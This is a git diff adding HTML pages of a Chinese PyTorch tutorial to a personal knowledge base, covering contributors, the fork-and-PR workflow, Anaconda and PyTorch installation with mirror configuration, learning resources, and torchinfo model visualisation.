牛志康DataWhale成员,西安电子科技大学本科生[知乎][个人主页]
李嘉骐DataWhale成员,清华大学研究生[知乎]
刘洋Datawhale成员,中国科学院数学与系统科学研究所研究生[知乎]
陈安东DataWhale成员,中央民族大学研究生[个人主页]
+

教程贡献情况(已上线课程内容):

+

李嘉骐:第三章;第四章;第五章;第六章;第七章;第八章;内容整合

+

牛志康:第一章;第三章;第六章;第七章;第八章,第九章,第十章;文档部署

+

刘洋:第二章;第三章

+

陈安东:第二章;第三章;第七章

+

四、 课程编排与使用方法​

+

部分章节直播讲解请观看B站回放(持续更新):https://www.bilibili.com/video/BV1L44y1472Z

+
    +
  • +

    课程编排: +深入浅出PyTorch分为三个阶段:PyTorch深度学习基础知识、PyTorch进阶操作、PyTorch案例分析。

    +
  • +
  • +

    使用方法:

    +

    我们的课程内容都以markdown格式或jupyter notebook的形式保存在本仓库内。除了多看加深课程内容的理解外,最重要的还是动手练习、练习、练习

    +
  • +
  • +

    组队学习安排:

    +

    第一部分:第一章到第四章,学习周期:10天;

    +

    第二部分:第五章到第八章,学习周期:11天

    +
  • +
+

五、关于贡献​

+

本项目使用Forking工作流,具体参考atlassian文档

+

大致步骤如下:

+
    +
  1. 在GitHub上Fork本仓库
  2. +
  3. Clone Fork后的个人仓库
  4. +
  5. 设置upstream仓库地址,并禁用push
  6. +
  7. 使用分支开发,课程分支名为lecture{#NO},#NO保持两位,如lecture07,对应课程目录
  8. +
  9. PR之前保持与原始仓库的同步,之后发起PR请求
  10. +
+

命令示例:

+
# fork
# clone
git clone git@github.com:USERNAME/thorough-pytorch.git
# set upstream
git remote add upstream git@github.com:datawhalechina/thorough-pytorch.git
# disable upstream push
git remote set-url --push upstream DISABLE
# verify
git remote -v
# some sample output:
# origin git@github.com:NoFish-528/thorough-pytorch.git (fetch)
# origin git@github.com:NoFish-528/thorough-pytorch.git (push)
# upstream git@github.com:datawhalechina/thorough-pytorch.git (fetch)
# upstream DISABLE (push)
# do your work
git checkout -b lecture07
# edit and commit and push your changes
git push -u origin lecture07
# keep your fork up to date
## fetch upstream main and merge with forked main branch
git fetch upstream
git checkout main
git merge upstream/main
## rebase brach and force push
git checkout lecture07
git rebase main
git push -f
+

Commit Message​

+

提交信息使用如下格式:<type>: <short summary>

+
<type>: <short summary>
│ │
│ └─⫸ Summary in present tense. Not capitalized. No period at the end.
│
└─⫸ Commit Type: lecture{#NO}|others
+

others包括非课程相关的改动,如本README.md中的变动,.gitignore的调整等。

+

六、更新计划​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
内容更新时间内容
visdom可视化Visdom的使用
apexapex的简介和使用
模型部署Flask部署PyTorch模型
TorchScriptTorchScript
并行训练并行训练
模型预训练 - torchhub2022.4.16torchhub的简介和使用方法
目标检测 - SSDSSD的简介和实现
目标检测 - RCNN系列Fast-RCNN & Mask-RCNN
目标检测 - DETRDETR的实现
图像分类 - GoogLeNet2022.5.11GoogLeNet的介绍与实现
图像分类 - MobileNet系列2022.4月MobileNet系列介绍与实现
图像分类 - GhostNet2022.4月GhostNet代码讲解
生成式对抗网络 - 生成手写数字实战2022.5.25生成数字并可视化
生成式对抗网络 - DCGAN
风格迁移 - StyleGAN
生成网络 - VAE
图像分割 Deeplab系列Deeplab系列代码讲解
自然语言处理 LSTMLSTM情感分析实战
自然语言处理 Transformer
自然语言处理 BERT
视频待定
音频待定
自定义CUDA扩展和算子
+

七、鸣谢与反馈​

+
    +
  • 非常感谢DataWhale成员 叶前坤 @PureBuckwheat 和 胡锐锋 @Relph1119 对文档的细致校对!
  • +
  • 如果有任何想法可以联系我们DataWhale也欢迎大家多多提出issue。
  • +
+

八、关注我们​

+
Datawhale是一个专注AI领域的开源组织,以“for the learner,和学习者一起成长”为愿景,构建对学习者最有价值的开源学习社区。关注我们,一起学习成长。
+

LICENSE​

+

知识共享许可协议
本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第一章/1.1 PyTorch简介/index.html b/docs/个人知识库/AI/PyTorch/第一章/1.1 PyTorch简介/index.html new file mode 100644 index 0000000..707c875 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第一章/1.1 PyTorch简介/index.html @@ -0,0 +1,65 @@ + + + + + +1.1 PyTorch简介.md | wjlin0 + + + + + + + +

1.1 PyTorch简介.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:10
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

1.1 PyTorch简介

+

PyTorch是由Meta AI(Facebook)人工智能研究小组开发的一种基于Lua编写的Torch库的Python实现的深度学习库,目前被广泛应用于学术界和工业界,相较于Tensorflow2.x,PyTorch在API的设计上更加简洁、优雅和易懂。因此本课程我们选择PyTorch来进行开源学习。

+

经过本节的学习,你将收获:

+
    +
  • 了解PyTorch的发展流程
  • +
  • 了解PyTorch相较于其他框架的优势
  • +
+

1.1.1 PyTorch的发展​

+

“All in PyTorch”,对于PyTorch的发展我们只能用一句话来概况了,PyTorch自从推出就获得巨大的关注并受到了很多人的喜欢,而最直观的莫过于下面数据所表现的简明直了。

+

下图来自Paper with code网站,颜色面积代表使用该框架的论文公开代码库的数量,我们可以发现截至2021年6月,PyTorch的代码实现已经是TensorFlow实现的4倍,我们也可以看红色部分的PyTorch正在取代他的老大哥称霸学术圈,PyTorch会借助ONNX所带来的落地能力在工业界逐渐走向主导地位。

+

总的来说,我们必须承认到现在为止PyTorch 1.x还是有不如别的框架的地方,但是我们相信PyTorch 2.x版本会给我们带来更大的惊喜。

+

框架对比图

+

1.1.2 PyTorch的优势​

+
    +
  • 更加简洁,相比于其他的框架,PyTorch的框架更加简洁,易于理解。PyTorch的设计追求最少的封装,避免重复造轮子。
  • +
  • 上手快,掌握numpy和基本的深度学习知识就可以上手。
  • +
  • PyTorch有着良好的文档和社区支持,作者亲自维护的论坛供用户交流和求教问题。Meta AI(Facebook AI)对PyTorch提供了强力支持,作为当今排名前三的深度学习研究机构,MAIR的支持足以确保PyTorch获得持续的开发更新。
  • +
  • 项目开源,在Github上有越来越多的开源代码是使用PyTorch进行开发。
  • +
  • 可以更好的调试代码,PyTorch可以让我们逐行执行我们的脚本。这就像调试NumPy一样 – 我们可以轻松访问代码中的所有对象,并且可以使用打印语句(或其他标准的Python调试)来查看方法失败的位置。
  • +
  • 越来越完善的扩展库,活力旺盛,正处在当打之年。
  • +
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第一章/1.2 PyTorch的安装/index.html b/docs/个人知识库/AI/PyTorch/第一章/1.2 PyTorch的安装/index.html new file mode 100644 index 0000000..f44b764 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第一章/1.2 PyTorch的安装/index.html @@ -0,0 +1,210 @@ + + + + + +1.2 PyTorch的安装.md | wjlin0 + + + + + + + +

1.2 PyTorch的安装.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:10
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

1.2 PyTorch的安装

+

PyTorch的安装是我们学习PyTorch的第一步,也是经常出错的一步。在安装PyTorch时,我们通常使用的是Anaconda/miniconda+Pytorch+ IDE 的流程。

+

经过本节的学习,你将收获:

+
    +
  • Anaconda/miniconda的安装及其常见命令
  • +
  • PyTorch的安装流程
  • +
  • 如何选择一个适合自己的PyTorch版本
  • +
+

1.2.1 Anaconda的安装​

+

在数据科学和最近很火的深度学习中,要用到大量成熟的package。我们一个个安装 package 很麻烦,而且很容易出现包之间的依赖不适配的问题。而 Anaconda/miniconda的出现很好的解决了我们的问题,它集成了常用于科学分析(机器学习, 深度学习)的大量package,并且借助于conda我们可以实现对虚拟Python环境的管理。

+

Step 1:安装Anaconda/miniconda​

+

登陆Anaconda | Individual Edition,选择相应系统DownLoad,此处以Windows为例(Linux可以点击链接选择合适的版本进行下载或者通过官方提供的shell脚本进行下载):

+

anaconda

+

Step 2:检验是否安装成功​

+

在开始页找到Anaconda Prompt,一般在Anaconda3的文件夹下,( Linux在终端下就行了)

+

prompt

+

Step 3:创建虚拟环境​

+

Linux在终端(Ctrl+Alt+T)进行,Windows在Anaconda Prompt进行

+

查看现存虚拟环境​

+

查看已经安装好的虚拟环境,可以看到我们这里已经有两个环境存在了

+
conda env list 
+

env_list

+

创建虚拟环境​

+

在深度学习和机器学习中,我们经常会创建不同版本的虚拟环境来满足我们的一些需求。下面我们介绍创建虚拟环境的命令。

+
conda create -n env_name python==version 
# 注:将env_name 替换成你的环境的名称,version替换成对应的版本号,eg:3.8
+

+

注:

+
    +
  1. 这里忽略我们的warning,因为我们测试的时候已经安了又卸载一遍了,正常时是不会有warning的。
  2. +
  3. 在选择Python版本时,不要选择太高,建议选择3.6-3.8,版本过高会导致相关库不适配。
  4. +
+

安装包​

+
conda install package_name 
# 注:package_name 替换成对应的包的名称,eg: pandas
+

卸载包​

+
conda remove package_name
# 注:package_name 替换成对应的包的名称,eg: pandas
+

显示所有安装的包​

+
conda list
+

删除虚拟环境命令​

+
conda remove -n env_name --all 
# 注:env_name 替换成对应的环境的名称
+

激活环境命令​

+
conda activate env_name
# 注:env_name 替换成对应的环境的名称
+

退出当前环境​

+
conda deactivate
+

关于更多的命令,我们可以查看Anaconda/miniconda官方提供的命令,官网链接:点击这里

+

Step 4:换源​

+

在安装package时,我们经常会使用pip install package_name和conda install package_name 的命令,但是一些package下载速度会很慢,因此我们需要进行换源,换成国内源,加快我们的下载速度。以下便是两种对应方式的永久换源。如果我们仅仅想为单次下载换源可以使用pip install package_name -i https://pypi.tuna.tsinghua.edu.cn/simple进行下载。

+

pip换源​

+
Linux:​
+

Linux下的换源,我们首先需要在用户目录下新建文件夹.pip,并且在文件夹内新建文件pip.conf,具体命令如下

+
cd ~
mkdir .pip/
vi pip.conf
+

随后,我们需要在pip.conf添加下方的内容:

+
[global]
index-url = http://pypi.douban.com/simple
[install]
use-mirrors =true
mirrors =http://pypi.douban.com/simple/
trusted-host =pypi.douban.com
+
Windows:​
+

1、文件管理器文件路径地址栏敲:%APPDATA% 回车,快速进入 C:\Users\电脑用户\AppData\Roaming 文件夹中 +2、新建 pip 文件夹并在文件夹中新建 pip.ini 配置文件 +3、我们需要在pip.ini 配置文件内容,我们可以选择使用记事本打开,输入以下内容,并按下ctrl+s保存,在这里我们使用的是豆瓣源为例子。

+
[global]
index-url = http://pypi.douban.com/simple
[install]
use-mirrors =true
mirrors =http://pypi.douban.com/simple/
trusted-host =pypi.douban.com
+

conda换源(清华源)官方换源帮助​

+
Windows系统:​
+

TUNA 提供了 Anaconda 仓库与第三方源的镜像,各系统都可以通过修改用户目录下的 .condarc 文件。Windows 用户无法直接创建名为 .condarc 的文件,可先执行conda config --set show_channel_urls yes生成该文件之后再修改。

+

完成这一步后,我们需要修改C:\Users\User_name\.condarc这个文件,打开后将文件里原始内容删除,将下面的内容复制进去并保存。

+
channels:
- defaults
show_channel_urls: true
default_channels:
- https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main
- https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r
- https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/msys2
custom_channels:
conda-forge: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
msys2: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
bioconda: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
menpo: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
pytorch: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
simpleitk: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
+

这一步完成后,我们需要打开Anaconda Prompt 运行 conda clean -i 清除索引缓存,保证用的是镜像站提供的索引。

+
Linux系统:​
+

在Linux系统下,我们还是需要修改.condarc来进行换源

+
cd ~
vi .condarc
+

在vim下,我们需要输入i进入编辑模式,将上方内容粘贴进去,按ESC退出编辑模式,输入:wq保存并退出

+

换源内容

+

我们可以通过conda config --show default_channels检查下是否换源成功,如果出现下图内容,即代表我们换源成功。

+

+

同时,我们仍然需要conda clean -i 清除索引缓存,保证用的是镜像站提供的索引。

+

1.2.2 查看显卡​

+

该部分如果仅仅只有CPU或者集显的小伙伴们可以跳过该部分

+

windows:​

+

我们可以通过在cmd/terminal中输入nvidia-smi(Linux和Win命令一样)、使用NVIDIA控制面板和使用任务管理器查看自己是否有NVIDIA的独立显卡及其型号

+

查看GPU

+

查看显卡

+

linux:​

+

Linux查看GPU

+

我们需要看下版本号,看自己可以兼容的CUDA版本,等会安装PyTorch时是可以向下兼容的。具体适配表如下图所示。

+

适配表

+

1.2.3 安装PyTorch​

+

Step 1:登录PyTorch官网​

+

+

Step 2:Install​

+

+

这个界面我们可以选择本地开始(Start Locally),云开发(Cloud Partners),以前的Pytorch版本(Previous PyTorch Versions),移动端开发(Mobile),在此处我们需要进行本地安装。

+

Step 3:选择命令​

+

我们需要结合自己情况选择命令并复制下来,然后使用conda下载或者pip下载(建议conda安装)

+

打开Terminal,输入conda activate env_name(env_name 为你对应的环境名称),切换到对应的环境下面,我们就可以进行PyTorch的安装了。

+

+

注:

+
    +
  1. +

    Stable代表的是稳定版本,Preview代表的是先行版本

    +
  2. +
  3. +

    可以结合电脑是否有显卡,选择CPU版本还是CUDA版本,CUDA版本需要拥有独显且是NVIDIA的GPU

    +
  4. +
  5. +

    官方建议我们使用Anaconda/miniconda来进行管理

    +
  6. +
  7. +

    关于安装的系统要求

    +
      +
    1. Windows: +
        +
      1. Windows 7及更高版本;建议使用Windows 10或者更高的版本
      2. +
      3. Windows Server 2008 r2 及更高版本
      4. +
      +
    2. +
    3. Linux:以常见的CentOS和Ubuntu为例 +
        +
      1. CentOS, 最低版本7.3-1611
      2. +
      3. Ubuntu, 最低版本 13.04,这里会导致cuda安装的最大版本不同
      4. +
      +
    4. +
    5. macOS: +
        +
      1. macOS 10.10及其以上
      2. +
      +
    6. +
    +
  8. +
  9. +

    有些电脑所支持的cuda版本<10.2,此时我们需要进行手动降级,即就是cudatoolkit = 你所适合的版本,但是这里需要注意下一定要保持PyTorch和cudatoolkit的版本适配。查看Previous PyTorch Versions | PyTorch

    +
  10. +
+

Step 4:在线下载​

+

如果我们使用的Anaconda Prompt进行下载的话,我们需要先通过conda activate env_name,激活我们的虚拟环境中去,再输入命令。

+

注: 我们需要要把下载指令后面的 -c pytorch 去掉以保证使用清华源下载,否则还是默认从官网下载。

+

Step 5:离线下载​

+

Windows:​

+

在安装的过程中,我们可能会出现一些奇奇怪怪的问题,导致在线下载不成功,我们也可以使用离线下载的方法进行。

+

下载地址:https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/

+

通过上面下载地址,我们需要下载好对应版本的pytorch和 torchvision 包,然后打开Anaconda Prompt/Terminal中,进入我们安装的路径下。

+
cd package_location
conda activate env_name
+

接下来输入以下命令安装两个包

+
conda install --offline pytorch压缩包的全称(后缀都不能忘记)
conda install --offline torchvision压缩包的全称(后缀都不能忘记)
+

Step 6:检验是否安装成功​

+

进入所在的虚拟环境,紧接着输入python,在输入下面的代码。

+
import torch

torch.cuda.is_available()
+
False
+

这条命令意思是检验是否可以调用cuda,如果我们安装的是CPU版本的话会返回False,能够调用GPU的会返回True。一般这个命令不报错的话就证明安装成功。

+
    +
  • Windows系统
  • +
+

验证安装

+
    +
  • Linux系统
  • +
+

+

PyTorch的安装绝对是一个容易上火的过程,而且网络上的教程很可能对应早期的版本,或是会出现一些奇奇怪怪的问题,但是别担心,多装几次多遇到点奇奇怪怪的问题就好了!

+

1.2.4 PyCharm安装(可选操作)​

+

VSCode这些也是ok的,安装PyCharm非必须操作

+

Linux,Windows此处操作相同,我们建议Windows的同学安装Pycharm即可,因为在Linux上pycharm并不是主流的IDE。

+

Step 1:进入官网下载​

+

如果是学生的话可以使用学生邮箱注册并下载Professional版本,Community版本也基本能满足我们的日常需求。

+

Pycharm安装

+

Step 2:配置环境​

+

我们需要将虚拟环境设为我们的编译器,具体操作:File --> Settings --> Project:你的项目名称--> Python Interpreter

+

进去后,我们可以看见他使用的是默认的base环境,现在我们需要将这个环境设置成我们的test环境,点击齿轮,选择Add

+

改环境

+

点击Conda Environment ,选择Existing environment,将Interpreter设置为test环境下的python.exe

+

改环境

+

注:如果在pycharm的环境时,想进入我们的虚拟环境,要使用conda activate 名称

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第一章/1.3 PyTorch相关资源/index.html b/docs/个人知识库/AI/PyTorch/第一章/1.3 PyTorch相关资源/index.html new file mode 100644 index 0000000..5125f53 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第一章/1.3 PyTorch相关资源/index.html @@ -0,0 +1,66 @@ + + + + + +1.3 PyTorch相关资源.md | wjlin0 + + + + + + + +

1.3 PyTorch相关资源.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:10
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

1.3 PyTorch相关资源

+

PyTorch之所以被越来越多的人使用,不仅在于其完备的教程,还受益于许多相关的资源和完善的论坛。

+

经过本节的学习,你将收获:

+
    +
  • PyTorch的优质学习资源
  • +
+

1.3.1 PyTorch学习资源​

+
    +
  1. Awesome-pytorch-list:目前已获12K Star,包含了NLP,CV,常见库,论文实现以及Pytorch的其他项目。
  2. +
  3. PyTorch官方文档:官方发布的文档,十分丰富。
  4. +
  5. Pytorch-handbook:GitHub上已经收获14.8K,pytorch手中书。
  6. +
  7. PyTorch官方社区:PyTorch拥有一个活跃的社区,在这里你可以和开发pytorch的人们进行交流。
  8. +
  9. PyTorch官方tutorials:官方编写的tutorials,可以结合colab边动手边学习
  10. +
  11. 动手学深度学习:动手学深度学习是由李沐老师主讲的一门深度学习入门课,拥有成熟的书籍资源和课程资源,在B站,Youtube均有回放。
  12. +
  13. Awesome-PyTorch-Chinese:常见的中文优质PyTorch资源
  14. +
  15. labml.ai Deep Learning Paper Implementations:手把手实现经典网络代码
  16. +
  17. YSDA course in Natural Language Processing:YSDA course in Natural Language Processing
  18. +
  19. huggingface:hugging face
  20. +
  21. ModelScope: 魔搭社区
  22. +
+

除此之外,还有很多学习pytorch的资源在b站,stackoverflow,知乎......未来大家还需要多多探索,我们希望大家可以在实战中不断学习,不断给予我们课程反馈。

+

以上便是第一章的内容了,能力有限,希望各位一定要带着自己的想法去思考问题,也希望各位能指出文档中的问题,我们会不断改进内容,给大家呈现一个更好的教程。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第一章/index.html b/docs/个人知识库/AI/PyTorch/第一章/index.html new file mode 100644 index 0000000..897b8ef --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第一章/index.html @@ -0,0 +1,46 @@ + + + + + +第一章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第七章/7.1 可视化网络结构/index.html b/docs/个人知识库/AI/PyTorch/第七章/7.1 可视化网络结构/index.html new file mode 100644 index 0000000..e781d02 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第七章/7.1 可视化网络结构/index.html @@ -0,0 +1,74 @@ + + + + + +7.1 可视化网络结构.md | wjlin0 + + + + + + + +

7.1 可视化网络结构.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:26
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

7.1 可视化网络结构

+

随着深度神经网络做的的发展,网络的结构越来越复杂,我们也很难确定每一层的输入结构,输出结构以及参数等信息,这样导致我们很难在短时间内完成debug。因此掌握一个可以用来可视化网络结构的工具是十分有必要的。类似的功能在另一个深度学习库Keras中可以调用一个叫做model.summary()的API来很方便地实现,调用后就会显示我们的模型参数,输入大小,输出大小,模型的整体参数等,但是在PyTorch中没有这样一种便利的工具帮助我们可视化我们的模型结构。

+

为了解决这个问题,人们开发了torchinfo工具包 ( torchinfo是由torchsummary和torchsummaryX重构出的库) 。本节我们将介绍如何使用torchinfo来可视化网络结构。

+

经过本节的学习,你将收获:

+
    +
  • 可视化网络结构的方法
  • +
+

7.1.1 使用print函数打印模型基础信息​

+

在本节中,我们将使用ResNet18的结构进行展示。

+
import torchvision.models as models
model = models.resnet18()
+

通过上面的两步,我们就得到resnet18的模型结构。在学习torchinfo之前,让我们先看下直接print(model)的结果。

+
ResNet(
(conv1): Conv2d(3, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False)
(bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(relu): ReLU(inplace=True)
(maxpool): MaxPool2d(kernel_size=3, stride=2, padding=1, dilation=1, ceil_mode=False)
(layer1): Sequential(
(0): Bottleneck(
(conv1): Conv2d(64, 64, kernel_size=(1, 1), stride=(1, 1), bias=False)
(bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(conv2): Conv2d(64, 64, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1), bias=False)
(bn2): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(conv3): Conv2d(64, 256, kernel_size=(1, 1), stride=(1, 1), bias=False)
(bn3): BatchNorm2d(256, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(relu): ReLU(inplace=True)
(downsample): Sequential(
(0): Conv2d(64, 256, kernel_size=(1, 1), stride=(1, 1), bias=False)
(1): BatchNorm2d(256, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
)
)
... ...
)
(avgpool): AdaptiveAvgPool2d(output_size=(1, 1))
(fc): Linear(in_features=2048, out_features=1000, bias=True)
)
+

我们可以发现单纯的print(model),只能得出基础构件的信息,既不能显示出每一层的shape,也不能显示对应参数量的大小,为了解决这些问题,我们就需要介绍出我们今天的主人公torchinfo。

+

7.1.2 使用torchinfo可视化网络结构​

+
    +
  • torchinfo的安装
  • +
+
# 安装方法一
pip install torchinfo
# 安装方法二
conda install -c conda-forge torchinfo
+
    +
  • torchinfo的使用
  • +
+

trochinfo的使用也是十分简单,我们只需要使用torchinfo.summary()就行了,必需的参数分别是model,input_size[batch_size,channel,h,w],更多参数可以参考documentation,下面让我们一起通过一个实例进行学习。

+
import torchvision.models as models
from torchinfo import summary
resnet18 = models.resnet18() # 实例化模型
summary(resnet18, (1, 3, 224, 224)) # 1:batch_size 3:图片的通道数 224: 图片的高宽
+
    +
  • torchinfo的结构化输出
  • +
+
=========================================================================================
Layer (type:depth-idx) Output Shape Param #
=========================================================================================
ResNet -- --
├─Conv2d: 1-1 [1, 64, 112, 112] 9,408
├─BatchNorm2d: 1-2 [1, 64, 112, 112] 128
├─ReLU: 1-3 [1, 64, 112, 112] --
├─MaxPool2d: 1-4 [1, 64, 56, 56] --
├─Sequential: 1-5 [1, 64, 56, 56] --
│ └─BasicBlock: 2-1 [1, 64, 56, 56] --
│ │ └─Conv2d: 3-1 [1, 64, 56, 56] 36,864
│ │ └─BatchNorm2d: 3-2 [1, 64, 56, 56] 128
│ │ └─ReLU: 3-3 [1, 64, 56, 56] --
│ │ └─Conv2d: 3-4 [1, 64, 56, 56] 36,864
│ │ └─BatchNorm2d: 3-5 [1, 64, 56, 56] 128
│ │ └─ReLU: 3-6 [1, 64, 56, 56] --
│ └─BasicBlock: 2-2 [1, 64, 56, 56] --
│ │ └─Conv2d: 3-7 [1, 64, 56, 56] 36,864
│ │ └─BatchNorm2d: 3-8 [1, 64, 56, 56] 128
│ │ └─ReLU: 3-9 [1, 64, 56, 56] --
│ │ └─Conv2d: 3-10 [1, 64, 56, 56] 36,864
│ │ └─BatchNorm2d: 3-11 [1, 64, 56, 56] 128
│ │ └─ReLU: 3-12 [1, 64, 56, 56] --
├─Sequential: 1-6 [1, 128, 28, 28] --
│ └─BasicBlock: 2-3 [1, 128, 28, 28] --
│ │ └─Conv2d: 3-13 [1, 128, 28, 28] 73,728
│ │ └─BatchNorm2d: 3-14 [1, 128, 28, 28] 256
│ │ └─ReLU: 3-15 [1, 128, 28, 28] --
│ │ └─Conv2d: 3-16 [1, 128, 28, 28] 147,456
│ │ └─BatchNorm2d: 3-17 [1, 128, 28, 28] 256
│ │ └─Sequential: 3-18 [1, 128, 28, 28] 8,448
│ │ └─ReLU: 3-19 [1, 128, 28, 28] --
│ └─BasicBlock: 2-4 [1, 128, 28, 28] --
│ │ └─Conv2d: 3-20 [1, 128, 28, 28] 147,456
│ │ └─BatchNorm2d: 3-21 [1, 128, 28, 28] 256
│ │ └─ReLU: 3-22 [1, 128, 28, 28] --
│ │ └─Conv2d: 3-23 [1, 128, 28, 28] 147,456
│ │ └─BatchNorm2d: 3-24 [1, 128, 28, 28] 256
│ │ └─ReLU: 3-25 [1, 128, 28, 28] --
├─Sequential: 1-7 [1, 256, 14, 14] --
│ └─BasicBlock: 2-5 [1, 256, 14, 14] --
│ │ └─Conv2d: 3-26 [1, 256, 14, 14] 294,912
│ │ └─BatchNorm2d: 3-27 [1, 256, 14, 14] 512
│ │ └─ReLU: 3-28 [1, 256, 14, 14] --
│ │ └─Conv2d: 3-29 [1, 256, 14, 14] 589,824
│ │ └─BatchNorm2d: 3-30 [1, 256, 14, 14] 512
│ │ └─Sequential: 3-31 [1, 256, 14, 14] 33,280
│ │ └─ReLU: 3-32 [1, 256, 14, 14] --
│ └─BasicBlock: 2-6 [1, 256, 14, 14] --
│ │ └─Conv2d: 3-33 [1, 256, 14, 14] 589,824
│ │ └─BatchNorm2d: 3-34 [1, 256, 14, 14] 512
│ │ └─ReLU: 3-35 [1, 256, 14, 14] --
│ │ └─Conv2d: 3-36 [1, 256, 14, 14] 589,824
│ │ └─BatchNorm2d: 3-37 [1, 256, 14, 14] 512
│ │ └─ReLU: 3-38 [1, 256, 14, 14] --
├─Sequential: 1-8 [1, 512, 7, 7] --
│ └─BasicBlock: 2-7 [1, 512, 7, 7] --
│ │ └─Conv2d: 3-39 [1, 512, 7, 7] 1,179,648
│ │ └─BatchNorm2d: 3-40 [1, 512, 7, 7] 1,024
│ │ └─ReLU: 3-41 [1, 512, 7, 7] --
│ │ └─Conv2d: 3-42 [1, 512, 7, 7] 2,359,296
│ │ └─BatchNorm2d: 3-43 [1, 512, 7, 7] 1,024
│ │ └─Sequential: 3-44 [1, 512, 7, 7] 132,096
│ │ └─ReLU: 3-45 [1, 512, 7, 7] --
│ └─BasicBlock: 2-8 [1, 512, 7, 7] --
│ │ └─Conv2d: 3-46 [1, 512, 7, 7] 2,359,296
│ │ └─BatchNorm2d: 3-47 [1, 512, 7, 7] 1,024
│ │ └─ReLU: 3-48 [1, 512, 7, 7] --
│ │ └─Conv2d: 3-49 [1, 512, 7, 7] 2,359,296
│ │ └─BatchNorm2d: 3-50 [1, 512, 7, 7] 1,024
│ │ └─ReLU: 3-51 [1, 512, 7, 7] --
├─AdaptiveAvgPool2d: 1-9 [1, 512, 1, 1] --
├─Linear: 1-10 [1, 1000] 513,000
=========================================================================================
Total params: 11,689,512
Trainable params: 11,689,512
Non-trainable params: 0
Total mult-adds (G): 1.81
=========================================================================================
Input size (MB): 0.60
Forward/backward pass size (MB): 39.75
Params size (MB): 46.76
Estimated Total Size (MB): 87.11
=========================================================================================
+

我们可以看到torchinfo提供了更加详细的信息,包括模块信息(每一层的类型、输出shape和参数量)、模型整体的参数量、模型大小、一次前向或者反向传播需要的内存大小等

+

注意:

+

但你使用的是colab或者jupyter notebook时,想要实现该方法,summary()一定是该单元(即notebook中的cell)的返回值,否则我们就需要使用print(summary(...))来可视化。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第七章/7.2 CNN卷积层可视化/index.html b/docs/个人知识库/AI/PyTorch/第七章/7.2 CNN卷积层可视化/index.html new file mode 100644 index 0000000..60d9388 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第七章/7.2 CNN卷积层可视化/index.html @@ -0,0 +1,111 @@ + + + + + +7.2 CNN卷积层可视化.md | wjlin0 + + + + + + + +

7.2 CNN卷积层可视化.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:26
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

7.2 CNN可视化

+

卷积神经网络(CNN)是深度学习中非常重要的模型结构,它广泛地用于图像处理,极大地提升了模型表现,推动了计算机视觉的发展和进步。但CNN是一个“黑盒模型”,人们并不知道CNN是如何获得较好表现的,由此带来了深度学习的可解释性问题。如果能理解CNN工作的方式,人们不仅能够解释所获得的结果,提升模型的鲁棒性,而且还能有针对性地改进CNN的结构以获得进一步的效果提升。

+

理解CNN的重要一步是可视化,包括可视化特征是如何提取的、提取到的特征的形式以及模型在输入数据上的关注点等。本节我们就从上述三个方面出发,介绍如何在PyTorch的框架下完成CNN模型的可视化。

+

经过本节的学习,你将收获:

+
    +
  • 可视化CNN卷积核的方法
  • +
  • 可视化CNN特征图的方法
  • +
  • 可视化CNN显著图(class activation map)的方法
  • +
+

7.2.1 CNN卷积核可视化​

+

卷积核在CNN中负责提取特征,可视化卷积核能够帮助人们理解CNN各个层在提取什么样的特征,进而理解模型的工作原理。例如在Zeiler和Fergus 2013年的paper中就研究了CNN各个层的卷积核的不同,他们发现靠近输入的层提取的特征是相对简单的结构,而靠近输出的层提取的特征就和图中的实体形状相近了,如下图所示:

+

layer2

+

layer3

+

layer4

+

